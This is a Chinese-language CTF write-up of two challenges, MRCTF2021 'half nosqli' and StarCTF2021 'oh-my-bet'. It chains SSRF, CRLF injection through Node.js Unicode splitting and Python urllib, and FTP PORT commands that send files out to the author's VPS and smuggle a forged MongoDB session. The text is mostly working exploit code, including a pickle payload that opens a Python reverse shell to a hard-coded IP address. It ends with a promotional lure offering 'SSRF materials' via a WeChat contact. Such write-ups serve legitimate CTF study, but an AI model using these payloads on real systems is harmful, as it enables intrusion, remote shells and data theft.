MRCTF2021 half nosqli 这个题的前半部分在于 Mongodb 永真式万能密码绕过,后半部分就是 SSRF


首先可以打到自己 vps 上看看效果


headers = {"Accept":"/","Authorization":"Bearer "+token,}


url_payload = "http://buptmerak.cn:2333"


json = {"url":url_payload}


req = r.post(url+"home",headers=headers,json=json)


print(req.text)image.png


发现发送了 HTTP 的请求包


经过尝试该题目中存在 Nodejs 曾爆出的一个 SSRF 漏洞,即 Unicode 拆分攻击,可以进行 CRLF 注入


利用原理如下


在 Node.js 尝试发出一个路径中含有控制字符的 HTTP 请求,它们会被 URL 编码。


而当 Node.js 版本 8 或更低版本对此 URL 发出 GET 请求时,\u{ff0a}\u{ff0d}不会进行转义,因为它们不是 HTTP 控制字符:


但是当结果字符串被默认编码为 latin1 写入路径时,这些字符将分别被截断为\x0a\x0d 也即\r\n 从而实现了 CRLF 注入


headers = {"Accept":"/","Authorization":"Bearer "+token,}


url_payload = "http://buptmerak.cn:2333/"


payload ='''USER anonymousPASS admin888CWD filesTYPE IPORT vpsip,0,1890RETR flag'''.replace("\n","\r\n")


def payload_encode(raw):ret = u""for i in raw:ret += chr(0xff00+ord(i))return ret#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")


#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")


url_payload = url_payload + payload_encode(payload)


print(url_payload)


json = {"url":url_payload}


req = r.post(url+"home",headers=headers,json=json)


print(req.text)


可以看到发回的包


image.png 已经实现了 CRLF 的注入,这里的 payload 也就是我们最终构造的 FTP 请求包,通过这个请求包,可以使 FTP 主动向我们的服务器发送上面的文件 image.png


USER anonymous 以匿名模式登录 PASS 随意 CWD 切换文件夹 TYPE I 以 binary 格式传输 PORT vpsip,0,1890 打开 FTP 主动模式 RETR 向对应 ip:port 发送文件


在 vps 上开一个监听端口,就能监听到发来的文件了


headers = {"Accept":"/","Authorization":"Bearer "+token,}


url_payload = "http://ftp:8899/" #题目附件中 docker-compose.yml 中泄露的内网主机名


payload ='''USER anonymousPASS admin888CWD filesTYPE IPORT vpsip,0,1890RETR flag'''.replace("\n","\r\n")


def payload_encode(raw):ret = u""for i in raw:ret += chr(0xff00+ord(i))return ret#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")


#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")


url_payload = url_payload + payload_encode(payload)


print(url_payload)


json = {"url":url_payload}


req = r.post(url+"home",headers=headers,json=json)


print(req.text)image.png


StarCTF2021 oh-my-bet 题目在获取头像地址处存在 ssrf


def get_avatar(username):


dirpath = os.path.dirname(__file__)user = User.query.filter_by(username=username).first()
avatar = user.avatarif re.match('.+:.+', avatar): path = avatarelse: path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])try: content = base64.b64encode(urllib.request.urlopen(path).read())except Exception as e: error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png']) content = base64.b64encode(urllib.request.urlopen(error_path).read()) print(e)
return content
复制代码


import urllib.parseimport requestsimport reimport base64import time


url = "http://localhost:8088/login"


def read_file(filename):name = "eki"+str(time.time())avatar = filenamedata = {"username":name,"password":"322","avatar":avatar,"submit":"Go!",}res = requests.post(url,data=data)


txt = res.textfind = re.findall("<img src.*>",txt)
if len(find) != 0: with open("out",'wb') as f: st = base64.b64decode(find[0][32:-47]) f.write(st) if len(st) == 4611: print("{} not exists!".format(filename)) else: print("Success!->out")else: print("Error") print(res.text)
复制代码


read_file("file:///app/app.py")


并且该版本的 urllib.request.urlopen(path)存在 CRLF 注入漏洞


分析题目给出的源码,我们能得到最终的解题思路是


向 FTP 传输恶意流量包并存储->FTP 向 Mongodb 发送恶意流量包插入恶意 Session->Session Pickle 反序列化反弹 shell


生成恶意 mongdb 流量包生成恶意 pickle 序列化串


import pickleimport base64import os


class RCE:def reduce(self):cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("81.70.154.76",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""")return os.system, (cmd,)


if name == 'main':pickled = pickle.dumps(RCE())print(base64.urlsafe_b64encode(pickled))open("exploit.b64", "w").write(base64.urlsafe_b64encode(pickled).decode())


生成 Mongodb 的 BSON 数据


const BSON = require('bson');const fs = require('fs');


// Serialize a documentconst doc = {insert: "sessions", $db: "admin", documents: [{"id": "session:e51fca6f-1248-450c-8961-b5d1a1aaaaaa","val": Buffer.from(fs.readFileSync("exploit.b64").toString(), "base64"),"expiration": new Date("2025-02-17")}]};const data = BSON.serialize(doc);


let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");let full = Buffer.concat([beginning, data]);


full.writeUInt32LE(full.length, 0);fs.writeFileSync("bson.bin", full);


攻击流程上传到内网 FTP 服务器


payload = '''TYPE IPORT vpsip,78,32STOR bson.bin'''


exp = 'http://172.20.0.2:8877/'


exp += urllib.parse.quote(payload.replace('\n', '\r\n'))


read_file(exp)


vps 打开文件发送


import socket


HOST = '0.0.0.0'


PORT = 20000


blocksize = 4096fp = open('bson.bin', 'rb')with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.bind((HOST, PORT))print('start listen...')s.listen()conn, addr = s.accept()with conn:while 1:buf = fp.read(blocksize)if not buf:fp.close()breakconn.sendall(buf)print('end.')


内网 FTP 向 Mongodb 发送构造恶意数据包


payload = '''TYPE IPORT 172,20,0,5,105,137RETR bson.bin'''


exp = 'http://172.20.0.2:8877/'


exp += urllib.parse.quote(payload.replace('\n', '\r\n'))


read_file(exp)


最终触发


import requests


url = "http://localhost:8088/"


cookie = {"session":"e51fca6f-1148-450c-8961-b5d1aaaaaaaa"}


req = requests.get(url,cookie=cookie)


【SSRF 资料领取】


【SSRF 资料领取】


image.png

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
首个SSRF漏洞开篇学习